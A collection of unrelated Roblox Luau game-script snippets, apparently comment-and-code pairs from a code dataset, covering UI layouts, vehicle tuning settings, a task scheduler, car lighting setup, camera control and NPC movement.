SortOrder = Enum.SortOrder.LayoutOrder,
}),
TextLabel = Roact.createElement("TextLabel", {
LayoutOrder = 1,
Size = UDim2.fromScale(1, self.props.orientation.isPortrait and 0.5 or 0.4),
BackgroundTransparency = 1,
TextSize = 16,
Font = Enum.Font.GothamSemibold,
TextColor3 = Color3.fromRGB(255, 255, 255),
TextYAlignment = Enum.TextYAlignment.Top,
TextXAlignment = Enum.TextXAlignment.Center,
TextWrapped = true,
Text = string.format(
"Choose a decal to place on the wall. You can add up to %d decals.",
self.props.configuration.quotaPerPlayer
),
}, {
UIPadding = Roact.createElement("UIPadding", {
PaddingLeft = UDim.new(0, 8),
PaddingRight = UDim.new(0, 8),
}),
}),
Roact.createElement("Frame", {
LayoutOrder = 2,
Size = UDim2.fromScale(1, self.props.orientation.isPortrait and 0.5 or 0.6),
BackgroundTransparency = 1,
}, {
ButtonGroup = Roact.createElement("Frame", {
Size = UDim2.fromScale(0.5, 1),
BackgroundTransparency = 1,
Position = UDim2.fromScale(0.5, 0.5),
AnchorPoint = Vector2.new(0.5, 0.5),
}, {
UIListLayout = Roact.createElement("UIListLayout", {
FillDirection = Enum.FillDirection.Horizontal,
SortOrder = Enum.SortOrder.LayoutOrder,
Padding = UDim.new(0, 12),
}),
Cancel = Roact.createElement(Button, {
LayoutOrder = 1,
Text = "Cancel",
TextColor3 = Color3.fromRGB(255, 255, 255),
keyCode = Enum.KeyCode.B,
onActivated = self.onCancel,
}),
Apply = Roact.createElement(Button, {
LayoutOrder = 2,
Text = "Apply",
BackgroundColor3 = Color3.fromRGB(255, 255, 255),
TextColor3 = Color3.fromRGB(0, 0, 0),
keyCode = Enum.KeyCode.Return,
onActivated = self.onApply,
}),
}),
}),
}),
}),
})
end
return ConfigurationContext.withConfiguration(OrientationContext.withOrientation(SurfaceArtSelector))
|
--[[**
ensures Roblox Instance type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]] |
t.Instance = primitive("Instance")
|
-- METHODS |
function IconController.setGameTheme(theme)
IconController.gameTheme = theme
local icons = IconController.getIcons()
for _, icon in pairs(icons) do
icon:setTheme(theme)
end
end
function IconController.setDisplayOrder(value)
value = tonumber(value) or TopbarPlusGui.DisplayOrder
TopbarPlusGui.DisplayOrder = value
end
IconController.setDisplayOrder(10)
function IconController.getIcons()
local allIcons = {}
for otherIcon, _ in pairs(topbarIcons) do
table.insert(allIcons, otherIcon)
end
return allIcons
end
function IconController.getIcon(name)
for otherIcon, _ in pairs(topbarIcons) do
if otherIcon.name == name then
return otherIcon
end
end
return false
end
function IconController.disableHealthbar(bool)
local finalBool = (bool == nil or bool)
IconController.healthbarDisabled = finalBool
IconController.healthbarDisabledSignal:Fire(finalBool)
end
function IconController.canShowIconOnTopbar(icon)
if (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then
return true
end
return false
end
function IconController.getMenuOffset(icon)
local alignment = icon:get("alignment")
local alignmentGap = IconController[alignment.."Gap"]
local iconSize = icon:get("iconSize") or UDim2.new(0, 32, 0, 32)
local sizeX = iconSize.X.Offset
local iconWidthAndGap = (sizeX + alignmentGap)
local extendLeft = 0
local extendRight = 0
local additionalRight = 0
if icon.menuOpen then
local menuSize = icon:get("menuSize")
local menuSizeXOffset = menuSize.X.Offset
local direction = icon:_getMenuDirection()
if direction == "right" then
extendRight += menuSizeXOffset + alignmentGap/6--2
elseif direction == "left" then
extendLeft = menuSizeXOffset + 4
extendRight += alignmentGap/3--4
additionalRight = menuSizeXOffset
end
end
return extendLeft, extendRight, additionalRight
end
|
-- Don't edit below unless you know what you're doing. |
local O = true
function onClicked()
if O == true then
O = false
One()
elseif O == false then
O = true
Two()
end
end
script.Parent.MouseButton1Down:connect(onClicked)
|
--[=[
@interface Service
.Name string
.Client ServiceClient
.KnitComm Comm
.[any] any
@within KnitServer
]=] |
type Service = {
Name: string,
Client: ServiceClient,
KnitComm: any,
[any]: any,
}
|
--// Dev Vars |
CameraGo = true; -- No touchy
FirstPersonOnly = false; -- SET THIS TO FALSE TO ENABLE THIRD PERSON, TRUE FOR FIRST PERSON ONLY
TPSMouseIcon = 1415957732; -- Image used as the third person reticle
|
--RUNNING SCRIPT--
------------------------------- |
local RunSpeed = 23 -- Change this to the speed you want the player to go
local AfterSpeed = 16 -- Best if you leave this alone. This is the speed the player will be after pressing shift.
|
--[[
Returns true if a table/dictionary contains userdata (somewhat deep)
Functions.HasUserdata(
table, <-- |REQ| Table/dictionary
)
--]] |
return function(tbl)
--- Variables
local found = false
--- Scan local function
local function Scan(v)
--- Already found userdata
if found then
return
end
--- Iterate
for key, value in pairs(v) do
--- Already found userdata
if found then
return
end
--- Main check
if type(value) == "userdata" or type(key) == "userdata" then
--- Userdata located
found = true
return
elseif type(value) == "table" then
--- Re-iterate
Scan(value)
end
end
end
--- Scan
Scan(tbl)
--
return found
end
|
-- Libraries |
local Support = require(Libraries:WaitForChild 'SupportLibrary')
|
--//Handling//-- |
SteeringAngle = 40 --{Steering angle in degrees}
SteerSpeed = 0.05 --{.01 being slow, 1 being almost instantly}
TiresFront = 2 --{1 = eco, 2 = road, 3 = sport}
TiresRear = 2 --{1 = eco, 2 = road, 3 = sport}
DownforceF = 0 --{[0-5] Provides downforce to the front at the cost of drag}
DownforceR = 0 --{[0-5] Provides downforce to the rear at the cost of drag}
BrakeBias = 72 --{100 = all on front || 0 = all on rear}
BrakePower = 80 --{100 = strong brakes 0 = close to no brakes}
TC = false
ABS = true
|
--[[
param targetFps Task scheduler won't run a task if it'd make the FPS drop below this amount
(WARNING) this only holds true if it is used properly. If you try to complete 10 union operations
at once in a single task then of course your FPS is going to drop -- queue the union operations
up one at a time so the task scheduler can do its job.
returns scheduler
method Pause Pauses the scheduler so it won't run tasks. Tasks may still be added while the scheduler is
paused. They just won't be touched until it's resumed. Performance efficient -- disables
renderstepped loop entirely until scheduler is resumed.
method Resume Resumes the paused scheduler.
method Destroy Destroys the scheduler so it can't be used anymore.
method QueueTask Queues a task for automatic execution.
param callback function (task) to be run.
Example usage:
local scheduler = TaskScheduler:CreateScheduler(60)
local totalOperations = 0
local paused
for i=1,100 do
scheduler:QueueTask(function()
local partA = Instance.new("Part", workspace)
local partB = Instance.new("Part", workspace)
plugin:Union({partA, partB}):Destroy()
totalOperations = totalOperations + 1
print("Times unioned:", totalOperations)
if totalOperations == 50 then
scheduler:Pause()
paused = true
end
end)
end
repeat wait() until paused
wait(2)
scheduler:Resume()
--]] |
function TaskScheduler:CreateScheduler(targetFps)
local scheduler = {}
local queue = {}
local sleeping = true
local event,paused
local start
local frameUpdateTable = {}
local sleep--get syntax highlighter to shut up on line 68
local function onEvent()
local iterationStart = tick()
local targetFrameUpdates = (iterationStart-start) < 1 and math.floor(targetFps * (iterationStart-start)) or targetFps
for i=#frameUpdateTable,1,-1 do
frameUpdateTable[i+1] = (frameUpdateTable[i] >= iterationStart-1) and frameUpdateTable[i] or nil
end
frameUpdateTable[1] = iterationStart
if #frameUpdateTable >= targetFrameUpdates then
if #queue > 0 then
queue[1]()
table.remove(queue, 1)
else
sleep()
end
end
end
--used for automatically turning off renderstepped loop when there's nothing in the queue
sleep = function()
sleeping = true
if event then
event:disconnect()
event = nil
end
end
--turns renderstepped loop back on when something is added to the queue and scheduler isn't paused
local function wake()
if sleeping and not event then
sleeping = false
if not paused then
start = tick()
event = game:GetService("RunService").RenderStepped:connect(onEvent)
end
end
end
function scheduler:Pause()
paused = true
if event then
event:disconnect()
event = nil
end
end
function scheduler:Resume()
if paused and not event then
paused = false
sleeping = false
start = tick()
event = game:GetService("RunService").RenderStepped:connect(onEvent)
end
end
function scheduler:Destroy()
scheduler:Pause()
for i in next,scheduler do
scheduler[i] = nil
end
setmetatable(scheduler, {
__index = function()
error("Attempt to use destroyed scheduler")
end;
__newindex = function()
error("Attempt to use destroyed scheduler")
end;
})
end
function scheduler:QueueTask(callback)
queue[#queue+1] = callback
if sleeping then
wake()
end
end
start = tick()
event = game:GetService("RunService").RenderStepped:connect(onEvent)
return scheduler
end
return TaskScheduler
|
-- Position the frames and sizes for the Backpack GUI elements |
UpdateBackpackLayout()
|
-- Setup animation objects |
for name, fileList in pairs(animNames) do
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then |
--[[Brakes]] | --
Tune.FBrakeForce = 300 -- Front brake force
Tune.RBrakeForce = 250 -- Rear brake force
Tune.PBrakeForce = 500 -- Parking brake force
Tune.LinkedBrakes = true -- Links brakes up, uses both brakes while braking
Tune.BrakesRatio = 60 -- The ratio of the brakes (0 = rear brake; 100 = front brake)
|
----------------------- |
Queue._gameMode = Conf.default_game_mode
Queue._destinationId = Conf.modes[Queue._gameMode].gameplay_place
Queue._timeoutEnabled = true
|
--[[START]] |
_BuildVersion = require(script.Parent.README)
|
--// Extras |
WalkAnimEnabled = true; -- Set to false to disable walking animation, true to enable
SwayEnabled = true; -- Set to false to disable sway, true to enable
TacticalModeEnabled = false; -- SET THIS TO TRUE TO TURN ON TACTICAL MODEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
|
-- Decompiled with the Synapse X Luau decompiler. |
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local v1 = {
New = function(p1, p2, p3, p4)
p2 = p2 or Color3.new(0.2, 0.2, 0.2);
p3 = p3 or Enum.Font.FredokaOne;
p4 = p4 or Enum.FontSize.Size18;
u1.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = p1,
Color = p2,
Font = p3,
FontSize = p4
});
end
};
u1.Network.Fired("Chat Msg"):Connect(function(...)
v1.New(...);
end);
return v1;
|
-- Compiled with roblox-ts v1.3.3 |
local function fields(defaults)
if defaults == nil then
defaults = {}
end
return function(input)
local _object = {}
for _k, _v in pairs(defaults) do
_object[_k] = _v
end
if type(input) == "table" then
for _k, _v in pairs(input) do
_object[_k] = _v
end
end
return _object
end
end
return {
fields = fields,
}
|
--[[Weight Scaling]] |
--[Cubic stud : pounds ratio]
--[STANDARDIZED: Don't touch unless needed]
Tune.WeightScaling = 1/50 --Default = 1/50 (1 cubic stud = 50 lbs)
Tune.LegacyScaling = 1/10 --Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]
return Tune
|
--Variables-- |
local set = script.Settings
local sp = set.Speed
local enabled = set.Enabled
local loop = set.Loop
local debug_ = set.Debug
local hum = script.Parent:WaitForChild("Humanoid")
if debug_.Value == true then
if hum then
print("Success")
else
print("No Humanoid")
end
end
local humanim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
|
--Tuck in |
R6TorsoTuckIn = .5
R6RightArmTuckIn = .2
R6LeftArmTuckIn = .2
|
-- ====================
-- CHARGED SHOT
-- Make a gun charging before firing. Useful for a gun like "Railgun" or "Laser Cannon"
-- ==================== |
ChargedShotEnabled = false;
ChargingTime = 1;
|
--This module is for any client FX related to the DoubleDoor |
local DoorFX = {}
local tweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
function DoorFX.OPEN(door)
if not door then return end
for i = 1, 2 do
tweenService:Create(door["Door" .. i].PrimaryPart, tweenInfo, {CFrame = door["Door"..i.."Goal"].CFrame}):Play()
door["Door" .. i].PrimaryPart.DoorOpenFADEOUT:Play()
end
end
function DoorFX.CLOSE(door)
if not door then return end
for i = 1, 2 do
door["Door" .. i].PrimaryPart.CFrame = door["Door"..i.."Start"].CFrame
end
end
return DoorFX
|
--[=[
Initializes the service bag and ensures recursive initialization
can occur
]=] |
function ServiceBag:Init()
assert(not self._initializing, "Already initializing")
assert(self._serviceTypesToInitializeSet, "Already initialized")
self._initializing = true
while next(self._serviceTypesToInitializeSet) do
local serviceType = next(self._serviceTypesToInitializeSet)
self._serviceTypesToInitializeSet[serviceType] = nil
self:_ensureInitialization(serviceType)
end
self._serviceTypesToInitializeSet = nil
self._initializing = false
end
|
--[[Transmission]] |
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.5 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[Weight and CG]] |
Tune.Weight = 3000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- server side setup |
local Pcolors = {{255, 255, 255}, {255, 180, 161}, {226, 231, 255}}
local Lcolors = {{255, 255, 255}, {255, 237, 199}, {205, 227, 255}}
local INDcolor = {255, 130, 80}
local plactive = false
local prevChild
F.Setup = function(light_type, popups, tb, fog_color)
event.IndicatorsAfterLeave.Disabled = true
for idx, child in pairs(lights.Brake:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(255, 0, 0)
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(255, 96, 96)
child.Transparency = 1
end
end
for idx, child in pairs(lights.Rear:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(255, 0, 0)
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(255, 96, 96)
child.Transparency = 1
end
end
for idx, child in pairs(lights.Reverse:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(255, 255, 255)
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(255, 255, 255)
child.Transparency = 1
end
end
for idx, child in pairs(lights.LeftInd:GetDescendants()) do
if child.Name == "L" and child.Parent.Name == "Front" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "L" and child.Parent.Name == "Rear" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "L" and child.Parent.Name == "Side" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Left
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
child.Transparency = 1
elseif string.sub(child.Name, 1, 2) == "SI" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
child.Transparency = 1
end
end
for idx, child in pairs(lights.RightInd:GetDescendants()) do
if child.Name == "L" and child.Parent.Name == "Front" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "L" and child.Parent.Name == "Rear" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Back
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "L" and child.Parent.Name == "Side" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Right
spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
child.Transparency = 1
elseif string.sub(child.Name, 1, 2) == "SI" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3])
child.Transparency = 1
end
end
for idx, child in pairs(tb) do
child.ImageTransparency = 1
end
if not popups then
if light_type == "Pure White" then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[1][1], Lcolors[1][2], Lcolors[1][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[1][1], Pcolors[1][2], Pcolors[1][3])
child.Transparency = 1
end
end
elseif light_type == "OEM White" then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[2][1], Lcolors[2][2], Lcolors[2][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[2][1], Pcolors[2][2], Pcolors[2][3])
child.Transparency = 1
end
end
elseif light_type == "Xenon" then
for idx, child in pairs(lights.Headlights:GetDescendants()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[3][1], Lcolors[3][2], Lcolors[3][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[3][1], Pcolors[3][2], Pcolors[3][3])
child.Transparency = 1
end
end
end
else
if light_type == "Pure White" then
for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[1][1], Lcolors[1][2], Lcolors[1][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[1][1], Pcolors[1][2], Pcolors[1][3])
child.Transparency = 1
end
end
elseif light_type == "OEM White" then
for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[2][1], Lcolors[2][2], Lcolors[2][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[2][1], Pcolors[2][2], Pcolors[2][3])
child.Transparency = 1
end
end
elseif light_type == "Xenon" then
for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[3][1], Lcolors[3][2], Lcolors[3][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[3][1], Pcolors[3][2], Pcolors[3][3])
child.Transparency = 1
end
end
end
end
for idx, child in pairs(lights.Fog:GetChildren()) do
if child.Name == "L" then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = fog_color
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = fog_color
child.Transparency = 1
end
end
print("EpicLights Version 2 // Setup completed!")
end
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = script.Tune_HorsePower.Value -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- you can mess with these settings |
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson
CanViewBody = true -- whether you see your body
Sensitivity = 0.6 -- anything higher would make looking up and down harder; recommend anything between 0~1
Smoothness = 0.05 -- recommend anything between 0~1
FieldOfView = 80 -- fov
HeadOffset = CFrame.new(0,0.7,0) -- how far your camera is from your head
local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon
local character = player.Character or player.CharacterAdded:wait()
local human = character.Humanoid
local humanoidpart = character.HumanoidRootPart
local head = character:WaitForChild("Head")
local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p
local AngleX,TargetAngleX = 0,0
local AngleY,TargetAngleY = 0,0
local running = true
local freemouse = false
local defFOV = FieldOfView
local w, a, s, d, lshift = false, false, false, false, false
|
-- Module 3 |
function NpcModule.Walk(Npc, Pos, PathParams, Return)
local Path = NpcModule.GetPath(Npc, Pos, PathParams)
local Humanoid = Npc:FindFirstChild("Humanoid")
if Path ~= false then
if Humanoid then
for I, Waypoint in pairs(Path:GetWaypoints()) do
Humanoid:MoveTo(Waypoint.Position)
Humanoid.MoveToFinished:Wait()
end
end
end
if Return ~= nil then
return
end
end
|
--[[ Services ]] | --
local PlayersService = game:GetService('Players')
local VRService = game:GetService("VRService")
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local Util = require(script.Parent:WaitForChild("CameraUtils"))
|
-- Local player |
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:wait()
local humanoid = character:WaitForChild("Humanoid")
local PlayerGui = player:WaitForChild("PlayerGui") |
-- functions |
function onRunning(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function moveJump()
RightShoulder.MaxVelocity = jumpMaxLimbVelocity
LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
RightShoulder:SetDesiredAngle(3.14)
LeftShoulder:SetDesiredAngle(-3.14)
RightHip:SetDesiredAngle(0)
LeftHip:SetDesiredAngle(0)
end
|
--Functions (Needed to organize) |
local function AddRecentApp(App)
if RecentAppEnabled == true then
local sameapp = false
if home:FindFirstChild(App) then
if side.RecentApps:FindFirstChild(App) then
sameapp = true
end
side.Status:TweenPosition(UDim2.new(0.094,0,0.638,0), "InOut", "Quint", 0.5, true)
side.B1:TweenPosition(UDim2.new(0.024,0,0.593,0), "InOut", "Quint", 0.5, true)
for i, v in pairs(side.RecentApps:GetChildren()) do
if v.Position == UDim2.new(0.016,0,0.345,0) then
if sameapp and side.RecentApps:FindFirstChild(App) then
if side.RecentApps[App].Position ~= UDim2.new(0.015,0,0.027,0) then
v:TweenPosition(UDim2.new(0.032,0,0.668,0), "InOut", "Quint", 0.25, true)
end
else
v:TweenPosition(UDim2.new(0.032,0,0.668,0), "InOut", "Quint", 0.25, true)
end
end
if v.Position == UDim2.new(0.015,0,0.027,0) then
v:TweenPosition(UDim2.new(0.016,0,0.345,0), "InOut", "Quint", 0.25, true)
end
if v.Name == App then --prevents any same apps to be duplicated ok
v:TweenPosition(UDim2.new(0.015,0,0.027,0), "InOut", "Quint", 0.25, true)
end
if v.Position == UDim2.new(0.032,0,0.668,0) then
if not sameapp then
for i = 0, 1, 0.2 do
wait()
v.ImageTransparency = i
end
v:Destroy()
end
end
end
if not sameapp then
local app = home:FindFirstChild(App):Clone()
app.Parent = side.RecentApps
app.IconName.Visible = false
app.ZIndex = 102
app.Size = UDim2.new(0.968, 0, 0.358, 0)
app.ImageTransparency = 1
app.Position = UDim2.new(0.015,0,0.027,0)
for i = 1, 0, -0.2 do
wait()
app.ImageTransparency = i
end
end
end
end
end
local function PlayMusic(Title, ID, pitch)
local musictitle = script.Parent.CarPlay.NowPlaying.MusicTitle
local id = script.Parent.CarPlay.NowPlaying.MusicID
musictitle.Text = Title
id.Text = ID
filter:FireServer("updateSong", ID, pitch)
handler:FireServer("PlayMusic", Title, ID)
nowplaying.Play.ImageRectOffset = Vector2.new(150, 0)
end
local function PlayMusicUsingSongValue(Val, Playlists, pitch)
if script.Parent.CarPlay_Data.Playlists:FindFirstChild(Playlists) then
local musictitle = script.Parent.CarPlay.NowPlaying.MusicTitle
local id = script.Parent.CarPlay.NowPlaying.MusicID
local playlists = script.Parent.CarPlay_Data.Playlists[Playlists]:GetChildren()
musictitle.Text = playlists[Val].Name
handler:FireServer("PlayMusic", playlists[Val].Name, playlists[Val].Value)
id.Text = playlists[Val].Value
filter:FireServer("updateSong", playlists[Val].Value, playlists[Val].Pitch.Value)
end
end
local function LaunchApp(AppToLaunch)
if home:FindFirstChild(AppToLaunch) then
handler:FireServer("LaunchApp", AppToLaunch)
for i, app in ipairs(home:GetChildren()) do
app.AppEnabled.Value = false -- no jerks that can mess carplay
end
AddRecentApp(AppToLaunch)
home[AppToLaunch].IconName.Visible = false
home[AppToLaunch].ZIndex = 102
X = home[AppToLaunch].Position.X.Scale
Y = home[AppToLaunch].Position.Y.Scale
home[AppToLaunch]:TweenSizeAndPosition(UDim2.new(1.599, 0,2.591, 0), UDim2.new(-0.325, 0,-0.965, 0), "Out", "Quint", 1.2, true)
home[AppToLaunch].Parent = script.Parent.CarPlay.Homescreen
for i, app in ipairs(script.Parent.CarPlay:GetChildren()) do
if app.Name == AppToLaunch then
app.Visible = true
end
end
home.Visible = false
